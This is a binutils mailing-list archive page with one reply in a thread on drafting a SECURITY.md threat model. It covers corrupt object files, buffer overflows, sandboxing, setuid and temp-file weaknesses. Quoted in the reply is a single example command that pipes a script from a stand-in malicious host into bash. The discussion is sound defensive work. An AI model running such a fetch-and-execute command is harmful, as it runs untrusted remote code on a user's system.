public inbox for binutils@sourceware.org
 help / color / mirror / Atom feed
From: Richard Earnshaw <Richard.Earnshaw@foss.arm.com>
To: Siddhesh Poyarekar <siddhesh@gotplt.org>,
	Nick Clifton <nickc@redhat.com>,
	Binutils <binutils@sourceware.org>
Cc: "gdb@sourceware.org" <gdb@sourceware.org>
Subject: Re: RFC: Adding a SECURITY.md document to the Binutils
Date: Thu, 13 Apr 2023 14:11:23 +0100	[thread overview]
Message-ID: <0224757b-6b17-f82d-c0bf-c36042489f5e@foss.arm.com> (raw)
In-Reply-To: <c9cc65ae-88a4-20ed-ebbe-e05ad99dc8be@gotplt.org>



On 13/04/2023 13:54, Siddhesh Poyarekar wrote:
> On 2023-04-13 08:37, Richard Earnshaw wrote:
>>> "Direct compromise of security" is essentially what we're trying to 
>>> define more strongly to prevent spurious CVE assignments.
>>
>> If a user can be tricked into opening a corrupt file (eg object file) 
>> and that causes a buffer overflow that's then used to send another 
>> file to a third party, you can't really pretend that's not a direct 
>> compromise of security.  We live in the real world and this sort of 
>> threat is real.
> 
> I agree that this sort of threat is real, which is why we should 
> recommend sandboxing to deal with corrupt/untrusted files.  There is no 
> way that any program can be secured against untrusted input *after* it 
> has been supplied to it, especially if the input is in a Turing complete 
> form, like a program or a script.
> 
> This is why when one does a:
> 
> curl -s http://evil.website/malicious-script.sh | bash
> 
> it is a legitimate security issue, but it's not a vulnerability in bash, 
> nor can it be secured in bash.  One must either do this in a sandbox to 
> contain its impact in that sandbox, or do a secondary analysis (again in 
> a sandbox) to determine that it is safe.

Right, but that's not the case I was concerned about.  My scenario is 
more like when you run something like

objdump foo.o

but reading foo.o causes corruption in the tools (eg by a buffer 
exploit) and ends up sending a confidential file to a third party.

> 
>>>> a vulnerability in the generated output that was not already present 
>>>> in the files used as input.
>>>>
>>>> Note: none of the programs in the GNU Binutils suite need elevated 
>>>> system privileges (eg setuid) to operate and we recommend that users 
>>>> do not use them from accounts where such privileges are 
>>>> automatically available.
>>>
>>> We did have CVE-2021-20197, so it's not always setuid.
>>
>>
>> Which is exactly the sort of scenario I was trying to exclude by this 
>> statement - don't run the tools with elevated privileges.
> 
> I should have clarified that I agree, just that mentioning setuid might 
> lull users into believing that this threat model is only related to setuid.

Which is why I put setuid in brackets and put 'eg' in front of it.  It's 
the most obvious example, but it's by no means the only case.

BTW, the real problem underlying that CVE is that the temp-files APIs 
are fundamentally weak by defaulting to a shared temporary directory. 
Quite frankly there's no reason why systems shouldn't be using per-user 
temporary directories these days which are private - who needs to share 
temporary files with other users?

R.

> 
> Sid

  reply	other threads:[~2023-04-13 13:11 UTC|newest]

Thread overview: 56+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2023-04-07  8:42 Nick Clifton
2023-04-07 10:36 ` Eli Zaretskii
2023-04-11 13:29   ` Nick Clifton
2023-04-11 14:23     ` Simon Marchi
2023-04-11 15:00       ` Eli Zaretskii
2023-04-11 16:22         ` Nick Clifton
2023-04-11 16:32           ` Matt Rice
2023-04-11 18:18         ` J.W. Jagersma
2023-04-12  8:43           ` Nick Clifton
2023-04-08  6:30 ` Jan Beulich
2023-04-10 18:30 ` John Baldwin
2023-04-20 15:56   ` Nick Clifton
2023-04-11 19:45 ` Ian Lance Taylor
2023-04-12 16:02 ` Richard Earnshaw
2023-04-12 16:26   ` Siddhesh Poyarekar
2023-04-12 16:52     ` Richard Earnshaw
2023-04-12 16:58       ` Paul Koning
2023-04-12 17:10       ` Siddhesh Poyarekar
2023-04-13  3:51         ` Alan Modra
2023-04-13  4:25           ` Siddhesh Poyarekar
2023-04-13  5:16             ` Alan Modra
2023-04-13 12:00               ` Siddhesh Poyarekar
2023-04-13 10:25         ` Richard Earnshaw
2023-04-13 11:53           ` Siddhesh Poyarekar
2023-04-13 12:37             ` Richard Earnshaw
2023-04-13 12:54               ` Siddhesh Poyarekar
2023-04-13 13:11                 ` Richard Earnshaw [this message]
2023-04-13 13:35                   ` Siddhesh Poyarekar
2023-04-13 13:40                     ` Richard Earnshaw
2023-04-13 13:56                       ` Siddhesh Poyarekar
2023-04-13 14:50                         ` Richard Earnshaw
2023-04-13 15:02                           ` Siddhesh Poyarekar
2023-04-13 15:05                             ` Richard Earnshaw
2023-04-13 16:42                               ` Siddhesh Poyarekar
2023-04-14  9:52                                 ` Richard Earnshaw
2023-04-14 12:43                                   ` Siddhesh Poyarekar
2023-04-14 12:49                                     ` Richard Earnshaw
2023-04-14 13:13                                       ` Siddhesh Poyarekar
2023-04-13 15:08                             ` Paul Koning
2023-04-13 16:02                               ` Siddhesh Poyarekar
2023-04-13 16:49                                 ` Paul Koning
2023-04-13 17:00                                   ` Siddhesh Poyarekar
2023-04-13 17:05                                     ` Paul Koning
2023-04-13 17:29                                       ` Siddhesh Poyarekar
2023-04-13 17:37                                         ` Paul Koning
2023-04-13 18:16                                           ` Siddhesh Poyarekar
2023-04-14 17:37                                     ` Ian Lance Taylor
2023-04-14 18:27                                       ` Siddhesh Poyarekar
2023-04-14 20:46                                         ` Ian Lance Taylor
2023-04-14 21:24                                           ` Siddhesh Poyarekar
2023-04-17 15:31                                           ` Michael Matz
2023-04-17 19:55                                             ` Ian Lance Taylor
2023-04-14 19:45                                       ` DJ Delorie
2023-04-14 20:49                                         ` Ian Lance Taylor
2023-04-15  6:41                                           ` Xi Ruoyao
2023-04-13 16:06                               ` Richard Earnshaw

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=0224757b-6b17-f82d-c0bf-c36042489f5e@foss.arm.com \
    --to=richard.earnshaw@foss.arm.com \
    --cc=binutils@sourceware.org \
    --cc=gdb@sourceware.org \
    --cc=nickc@redhat.com \
    --cc=siddhesh@gotplt.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).